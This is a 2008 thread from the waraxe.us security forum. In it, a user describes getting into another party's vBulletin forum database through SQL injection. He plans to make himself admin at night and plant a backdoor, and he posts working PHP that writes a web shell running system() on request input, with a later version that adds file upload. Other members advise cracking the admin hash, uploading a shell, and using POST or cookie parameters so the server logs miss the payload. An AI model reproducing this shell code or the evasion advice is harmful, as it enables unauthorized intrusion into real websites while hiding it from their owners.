Waraxe IT Security Portal
Login or Register
July 27, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 231
Members: 0
Total: 231
Full disclosure
CyberDanube Security Research 20240722-0 | Multiple Vulnerabilities in Perten/PerkinElmer ProcessPlus
[KIS-2024-06] XenForo <= 2.2.15 (Template System) Remote Code Execution Vulnerability
[KIS-2024-05] XenForo <= 2.2.15 (Widget::actionSave) Cross-Site Request Forgery Vulnerability
CVE-2024-33326
CVE-2024-33327
CVE-2024-33328
CVE-2024-33329
CyberDanube Security Research 20240703-0 | Authenticated Command Injection in Helmholz Industrial Router REX100
SEC Consult SA-20240627-0 :: Local Privilege Escalation via MSI installer in SoftMaker Office / FreeOffice
SEC Consult SA-20240626-0 :: Multiple Vulnerabilities in Siemens Power Automation Products
Novel DoS Vulnerability Affecting WebRTC Media Servers
APPLE-SA-06-25-2024-1 AirPods Firmware Update 6A326, AirPods Firmware Update 6F8, and Beats Firmware Update 6F8
40 vulnerabilities in Toshiba Multi-Function Printers
17 vulnerabilities in Sharp Multi-Function Printers
SEC Consult SA-20240624-0 :: Multiple Vulnerabilities allowing complete bypass in Faronics WINSelect (Standard + Enterprise)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> vBulletin Board -> Got access to db, but don't know what to do...
Post new topicReply to topic View previous topic :: View next topic
Got access to db, but don't know what to do...
PostPosted: Sat Apr 19, 2008 6:36 pm Reply with quote
bleh
Regular user
Regular user
Joined: Apr 19, 2008
Posts: 19




Hey

I managed to get full access to the forum database through a mod sql injection. Now the problem is, it takes ages to crack the passwords since they're salted. I know I can change my user status to admin, but that would raise a big red flag, so I was wondering if anyone has experience with load_file.
View user's profile Send private message
PostPosted: Sat Apr 19, 2008 7:12 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Try to decrypt admin hash and log in into admin panel.Then just upload shell.
View user's profile Send private message
PostPosted: Sat Apr 19, 2008 7:17 pm Reply with quote
bleh
Regular user
Regular user
Joined: Apr 19, 2008
Posts: 19




i've got an amd 1500 with 512 ram... how long do you think it will take it? Laughing

I'll make myself admin then upload shell then make me a normal user again.
View user's profile Send private message
PostPosted: Sat Apr 19, 2008 7:45 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




bleh wrote:
i've got an amd 1500 with 512 ram... how long do you think it will take it? Laughing

I'll make myself admin then upload shell then make me a normal user again.


10 seconds or 10 years.No body know.
View user's profile Send private message
PostPosted: Sat Apr 19, 2008 7:51 pm Reply with quote
bleh
Regular user
Regular user
Joined: Apr 19, 2008
Posts: 19




I have been running passwordpro for over 3 hours and nothing. I will just let it run. Meanwhile I'll do my hack in the middle of the night so there will be few people online Very Happy

I've tested this backdoor for the plugin on my local vb, and it works. What do you think of it?

Code:

$f = fopen("mod_cp.php", "w+");
fputs($f, "<? system($"."_GET['c']); ?>");
fclose($f);
chmod("mod_cp.php", 777);
View user's profile Send private message
Re: Got access to db, but don't know what to do...
PostPosted: Sat Apr 19, 2008 7:52 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




bleh wrote:
Hey

I managed to get full access to the forum database through a mod sql injection. Now the problem is, it takes ages to crack the passwords since they're salted. I know I can change my user status to admin, but that would raise a big red flag, so I was wondering if anyone has experience with load_file.


You can use "LOAD_FILE()" only if you have FILE privileges. I'd say, that most of the real world servers will not give FILE privs to casual user. If website is hosted in shared environment (shared hosting, virtual server), then probably you can't do LOAD_FILE. If website is located on dedicated server (for example website of some organisation, school, etc), then you MAY have FILE privileges, IF admin was lazy enough to not have trouble with security Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Apr 19, 2008 7:56 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




bleh wrote:
I have been running passwordpro for over 3 hours and nothing. I will just let it run. Meanwhile I'll do my hack in the middle of the night so there will be few people online Very Happy

I've tested this backdoor for the plugin on my local vb, and it works. What do you think of it?

Code:

$f = fopen("mod_cp.php", "w+");
fputs($f, "<? system($"."_GET['c']); ?>");
fclose($f);
chmod("mod_cp.php", 777);


Use $_POST or $_COOKIE, because $_GET means, that webserver will log your payload ...
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Apr 19, 2008 8:59 pm Reply with quote
bleh
Regular user
Regular user
Joined: Apr 19, 2008
Posts: 19




waraxe wrote:

Use $_POST or $_COOKIE, because $_GET means, that webserver will log your payload ...

Oh crap, that's not good Very Happy
I've rewritten it. Thanks! Smile

Code:

$f = fopen("userprofile.php", "w+");
fputs($f, "<?
if (@$"."_FILES['f']['tmp_name'])
move_uploaded_file($"."_FILES['f']['tmp_name'], dirname(__FILE__).'\\\'.basename($"."_FILES['f']['name']));
if (@$"."_POST['c'])
system($"."_POST['c']);
?>
<form enctype='multipart/form-data' action='userprofile.php' method='post'>
<input name='c'><br>
<input name='f' type='file'><br>
<input type=submit value=Ok>
</form>");
fclose($f);
chmod("userprofile.php", 777);
View user's profile Send private message
Got access to db, but don't know what to do...
www.waraxe.us Forum Index -> vBulletin Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.271 Seconds